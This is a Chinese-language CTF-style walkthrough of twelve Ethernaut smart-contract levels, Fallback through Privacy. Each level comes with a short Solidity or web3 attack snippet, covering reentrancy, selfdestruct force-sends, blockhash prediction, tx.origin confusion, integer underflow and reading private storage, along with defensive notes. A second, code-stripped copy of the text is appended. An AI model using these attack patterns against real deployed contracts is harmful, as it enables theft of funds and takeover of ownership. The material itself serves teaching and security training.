Ethernaut题解2022版(上)
字数 1941 2025-08-29 08:31:54

Ethernaut智能合约攻防题解(2022版)

1. Fallback合约

合约漏洞:通过receive函数可篡改合约所有者

关键代码

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

攻击步骤

  1. 调用contribute()存入少量ETH(contract.contribute({value:1})
  2. 向合约地址转账1 ETH触发receive函数
  3. 检查owner已变为攻击者地址
  4. 调用withdraw()提取合约余额

技术要点

  • receive函数在合约收到空calldata的转账时触发
  • 每个合约最多一个receive函数,声明方式为receive() external payable
  • 如果没有receive但有payable fallback,转账会触发fallback

2. Fallout合约

合约漏洞:构造函数拼写错误(Fal1out中的1)使其成为普通可调用函数

攻击步骤

  1. 直接调用Fal1out()函数
  2. 调用collectAllocations()提取资金

技术要点

  • 构造函数应使用constructor关键字或与合约同名
  • 拼写错误使构造函数变为普通函数,可被任意调用

3. CoinFlip合约

合约漏洞:使用区块哈希作为随机数源可被预测

关键代码

uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);

攻击合约

contract attack {
    function exp() public {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        bool side = blockValue.div(FACTOR) == 1;
        c.flip(side);
    }
}

技术要点

  • 同一区块内的交易看到的block.number.sub(1)相同
  • 攻击合约与目标合约在同一交易中可预测结果
  • 应在链下使用预言机提供随机数

4. Telephone合约

合约漏洞:混淆tx.originmsg.sender

关键代码

if (tx.origin != msg.sender) {
    owner = _owner;
}

攻击步骤

  1. 部署攻击合约调用changeOwner()
  2. 攻击合约中msg.sender是攻击者,tx.origin是用户

技术要点

  • tx.origin是交易原始发起者
  • msg.sender是直接调用者
  • 调用链A→B→C中,对C来说:
    • tx.origin = A
    • msg.sender = B

5. Token合约

合约漏洞:整数下溢

关键代码

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

攻击步骤

  1. 初始有20 token
  2. 调用transfer(instance,21)触发下溢
  3. balances[msg.sender]变为极大值

技术要点

  • Solidity 0.8+默认检查算术溢出
  • 旧版本需使用SafeMath库
  • 下溢后uint值变为\(2^{256}-1\)

6. Delegation合约

合约漏洞:delegatecall使用不当

关键代码

(bool result,) = address(delegate).delegatecall(msg.data);

攻击步骤

contract.sendTransaction({
    data: web3.utils.sha3("pwn()").slice(0,10)
});

技术要点

  • delegatecall保持调用者上下文
  • 函数选择器是函数签名keccak256的前4字节
  • 三种调用方式区别:
    • call:在目标合约上下文执行
    • delegatecall:在调用者上下文执行
    • staticcall:只读的call

7. Force合约

合约漏洞:空合约接收ETH

攻击方法:使用selfdestruct强制转账

攻击合约

contract Attack {
    function exploit(address payable _target) public payable {
        selfdestruct(_target);
    }
}

技术要点

  • selfdestruct强制转账无视合约fallback
  • 合约即使没有payable函数也能接收ETH
  • 资金发送优先级高于常规转账

8. Vault合约

合约漏洞:私有变量可读取

攻击步骤

await web3.eth.getStorageAt(contract.address,1)
await contract.unlock("0x...")

技术要点

  • 合约所有数据在链上公开
  • 私有变量仅限制合约内访问
  • 存储布局:
    • slot 0: locked
    • slot 1: password
  • 字符串需转换为bytes32

9. King合约

合约漏洞:未处理转账失败

关键代码

king.transfer(msg.value);
king = msg.sender;

攻击合约

contract AttackKing {
    receive() external payable { revert(); }
}

技术要点

  • 攻击合约拒绝接收转账使流程中断
  • 应使用"检查-生效-交互"模式
  • 三种转账方式:
    • transfer:失败revert,gas限制2300
    • send:返回false,gas限制2300
    • call:无gas限制,需手动处理结果

10. Re-entrancy合约

合约漏洞:重入攻击

关键代码

(bool result,) = msg.sender.call{value:_amount}("");
balances[msg.sender] -= _amount;

攻击合约

fallback() external payable {
    target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
}

技术要点

  • 先转账后更新余额
  • call无gas限制允许复杂操作
  • 防御措施:
    1. 使用Checks-Effects-Interactions模式
    2. 添加重入锁
    3. 使用transfer/send限制gas

11. Elevator合约

合约漏洞:接口函数返回值不一致

关键代码

if (!building.isLastFloor(_floor)) {
    top = building.isLastFloor(floor);
}

攻击合约

function isLastFloor(uint) external returns (bool){
    x = !x;
    return x;
}

技术要点

  • 同一函数两次调用返回不同值
  • 接口实现可包含状态变更
  • 应使用view/pure修饰符限制函数行为

12. Privacy合约

合约漏洞:存储数据可读取

攻击步骤

await web3.eth.getStorageAt(instance, 5)
await contract.unlock('0x...')

存储布局

slot 0: locked (1 byte) + unused (31 bytes)
slot 1: ID (32 bytes)
slot 2: flattening (1 byte) + denomination (1 byte) + awkwardness (2 byte) + unused (28 bytes)
slot 3: data[0] (32 bytes)
slot 4: data[1] (32 bytes)
slot 5: data[2] (32 bytes)

技术要点

  • bytes16从高地址截取
  • 静态数组元素连续存储
  • 动态数组使用keccak256(slot)作为起始位置
Ethernaut智能合约攻防题解(2022版) 1. Fallback合约 合约漏洞 :通过receive函数可篡改合约所有者 关键代码 : 攻击步骤 : 调用 contribute() 存入少量ETH( contract.contribute({value:1}) ) 向合约地址转账1 ETH触发receive函数 检查owner已变为攻击者地址 调用 withdraw() 提取合约余额 技术要点 : receive函数在合约收到空calldata的转账时触发 每个合约最多一个receive函数,声明方式为 receive() external payable 如果没有receive但有payable fallback,转账会触发fallback 2. Fallout合约 合约漏洞 :构造函数拼写错误(Fal1out中的1)使其成为普通可调用函数 攻击步骤 : 直接调用 Fal1out() 函数 调用 collectAllocations() 提取资金 技术要点 : 构造函数应使用 constructor 关键字或与合约同名 拼写错误使构造函数变为普通函数,可被任意调用 3. CoinFlip合约 合约漏洞 :使用区块哈希作为随机数源可被预测 关键代码 : 攻击合约 : 技术要点 : 同一区块内的交易看到的 block.number.sub(1) 相同 攻击合约与目标合约在同一交易中可预测结果 应在链下使用预言机提供随机数 4. Telephone合约 合约漏洞 :混淆 tx.origin 和 msg.sender 关键代码 : 攻击步骤 : 部署攻击合约调用 changeOwner() 攻击合约中 msg.sender 是攻击者, tx.origin 是用户 技术要点 : tx.origin 是交易原始发起者 msg.sender 是直接调用者 调用链A→B→C中,对C来说: tx.origin = A msg.sender = B 5. Token合约 合约漏洞 :整数下溢 关键代码 : 攻击步骤 : 初始有20 token 调用 transfer(instance,21) 触发下溢 balances[msg.sender] 变为极大值 技术要点 : Solidity 0.8+默认检查算术溢出 旧版本需使用SafeMath库 下溢后uint值变为$2^{256}-1$ 6. Delegation合约 合约漏洞 :delegatecall使用不当 关键代码 : 攻击步骤 : 技术要点 : delegatecall 保持调用者上下文 函数选择器是函数签名keccak256的前4字节 三种调用方式区别: call :在目标合约上下文执行 delegatecall :在调用者上下文执行 staticcall :只读的 call 7. Force合约 合约漏洞 :空合约接收ETH 攻击方法 :使用 selfdestruct 强制转账 攻击合约 : 技术要点 : selfdestruct 强制转账无视合约fallback 合约即使没有payable函数也能接收ETH 资金发送优先级高于常规转账 8. Vault合约 合约漏洞 :私有变量可读取 攻击步骤 : 技术要点 : 合约所有数据在链上公开 私有变量仅限制合约内访问 存储布局: slot 0: locked slot 1: password 字符串需转换为bytes32 9. King合约 合约漏洞 :未处理转账失败 关键代码 : 攻击合约 : 技术要点 : 攻击合约拒绝接收转账使流程中断 应使用"检查-生效-交互"模式 三种转账方式: transfer :失败revert,gas限制2300 send :返回false,gas限制2300 call :无gas限制,需手动处理结果 10. Re-entrancy合约 合约漏洞 :重入攻击 关键代码 : 攻击合约 : 技术要点 : 先转账后更新余额 call无gas限制允许复杂操作 防御措施: 使用Checks-Effects-Interactions模式 添加重入锁 使用transfer/send限制gas 11. Elevator合约 合约漏洞 :接口函数返回值不一致 关键代码 : 攻击合约 : 技术要点 : 同一函数两次调用返回不同值 接口实现可包含状态变更 应使用view/pure修饰符限制函数行为 12. Privacy合约 合约漏洞 :存储数据可读取 攻击步骤 : 存储布局 : 技术要点 : bytes16从高地址截取 静态数组元素连续存储 动态数组使用keccak256(slot)作为起始位置